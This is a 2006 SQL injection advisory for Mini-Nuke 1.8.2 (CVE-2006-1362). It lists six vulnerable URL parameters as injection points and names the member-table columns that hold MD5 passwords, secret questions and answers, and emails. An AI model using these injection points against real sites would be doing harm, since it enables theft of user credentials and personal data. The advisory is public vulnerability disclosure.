Topic:	Mini-Nuke<=1.8.2 SQL injection (6)
Credit:	Moroccan Security Team
Date:	2006.03.23
CWE:	CWE-89 (Show similar)
CVE:	CVE-2006-1362 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

//mini-nuke board turk have many sql injection founded by Moroccan Security
Team
//Creetz to: Moroccan Security Team
[Dr.E-vil,Dr.Erase,H0550N,|ucifer,DaBDouB-MoSiKaR [OverclockiX],ki11er]
,Dranzelz,Esp!onLeRaVaGe,ameer,www.lezr.com and all muslim [morocco]
[1]
http://[target]/members.asp?action=member_details&uid=|sql|
[2]
http://[target]/articles.asp?action=articles&catid=|sql|
[3]
http://[target]/hpages.asp?id=|sql|
[4]
http://[target]/programs.asp?action=programs&catid=|sql|
[5]
http://[target]/forum.asp?action=Topics&id=|sql|
[6]
http://[target]/pages.asp?id=|sql|
/////////////////////////////////////////////////////////////////
Help table name

Columns of members
sifre=password md5
uye_id = userid
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
//////////////////////////////////////////////////////////////////